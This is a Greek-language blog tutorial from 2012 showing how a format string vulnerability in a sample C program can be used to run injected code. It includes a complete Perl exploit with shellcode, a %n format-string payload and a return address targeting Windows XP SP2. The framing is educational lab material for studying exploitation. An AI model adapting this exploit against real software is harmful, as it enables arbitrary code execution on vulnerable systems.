RSS

Format String Attacks: Εκτελώντας, δικό μας κώδικα!

24 Jul

Πριν από αρκετό καιρό, ο Thiseas, είχε γράψει ένα πολύ ενδιαφέρον άρθρο με τίτλο “ Format String Attack: Καταιγίδα εν αιθρία!”.

Στo άρθρο αυτό, μας πληροφορούσε σχετικά με τις επιθέσεις τύπου: “Format String” ενω παράλληλα, μας ενημέρωνε για το πως θα μπορούσε (κάποιος κακόβουλος χρήστης!) να εκμεταλλευτεί προς όφελος του τα vulnerabilities στον κώδικα ενός (απρόσεχτου) προγραμματιστή.

Αφού λοιπόν διαβάσατε το παραπάνω άρθρο, σίγουρα θα προσέξατε κάτι πολύ ενδιαφέρον που αναφέρει στην εισαγωγή:

Στο παρόν post ασχολούμαστε με έναν κλασικό τύπο επιθέσεων που άφησε εποχή και ίσως ακόμα αφήνει, ο οποίος συνδυασμένος με τη μητέρα όλων των μαχών, το buffer overflow, πριν αρκετό καιρό ήταν ικανός να χτυπήσει επιτυχώς το 70% των διαδικτυακών server!

Σκοπός μας είναι, να εκμεταλλευτούμε το vulnerability, που υπάρχει στον κωδικα “fsa2.c” (εικόνα 1), αλλά όχι για να εξάγουμε πληροφορίες αυτή τη φορά, όπως έκανε ο Thiseas.

 Εικόνα 1 : Ο ευπαθής κώδικας της εφαρμογής fsa2.c.

Το πειραμα.

Σε αυτό το άρθρο, θα επιχειρήσουμε το “φονικό συνδιασμό” που αναφέραμε προηγουμένως, συνδιάζοντας το vulnerability που υπάρχει στον κώδικα της εφαρμογής “fsa2.c”, με όσα μάθαμε (σχετικά με τις επιθέσεις Buffer Overflow) στα προηγούμενα άρθρα  (1,2,3,4).

Με απλά λόγια, θα προσπαθήσουμε να αποδείξουμε οτι μέσα απο ένα format string vulnerability, ένας κακόβουλος χρήστης (οχι μόνο μπορεί να “δει” πράγματα που δεν προορίζονται γι’ αυτόν) μπορεί να εκτελέσει κακόβουλο κώδικα (π.χ. shellcode) που κανονικά δε θα πρεπε.

Σημείωση: Η τεχνική και τα βήματα που χρησιμοποιήθηκαν, για το demo exploit περιγράφονται αναλυτικά στο άρθρο: “Format string exploitation on windows” της ομάδα Abysssec.

Για τις ανάγκες του πειράματος:

  • Το compile του κώδικας (fsa2.c) της εφαρμογής εγινε με τον LCC-Win32.
  • Το (εικονικό) μηχάνημα που χρησιμοποιήθηκε ήταν Windows XP SP2 [En].

Demo Exploit:

#!/usr/bin/perl
# Author: mr.pr0n (@_pr0n_)
# Homepage: https://ghostinthelab.wordpress.com/
print "\n+----------------------------+\n";
print "|    Format String Attack    |\n";
print "|      Exploitation Demo     |\n";
print "+----------------------------+\n";

print "\n [*] Please wait...\n";
sleep (3);

# calc.exe - Windows XP SP2 [En]
$shellcode  =
"\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC".
"\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45".
"\xF9\x61\xC6\x45\xFA\x6C\xC6\x45\xFB\x63\x8D\x45".
"\xF8\x50\xBB\x4D\x11\x86\x7C\xFF\xD3";

# ---------------------------------- #
$nops 		= "\x90" x 10;
$junk		= "\x41" x (72 - length($nops) - length($shellcode));
$padding	= ("%x" x 57)."%.311062x%.311062x%.311061x%.311061x%n";
$ret 		= "\xA8\xE7\x12"; # RET [ 0x0012E7A8 ]
# ---------------------------------- #

$exploit 	= $nops.$shellcode.$junk.$padding.$ret;
system("fsa2.exe", $exploit);

Αποτέλεσμα :

Ο επίλογος

Μελετήστε το demo exploit, διαβάστε το άρθρο “Format string exploitation on windows“, δοκιμάστε να επαναλάβετε την ίδια διαδικασία σε αυτή αλλά και σε άλλες εκδόσεις των Windows (XP SP3, Vista κτλ).

Πειραματιστείτε…🙂

Πηγές:

1. Format String Exploitation On Windows
2. Exploiting Format String Vulnerabilities

 
Leave a comment

Posted by on July 24, 2012 in It's Greek to Me

 

Tags: , , , , , , ,

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
%d bloggers like this: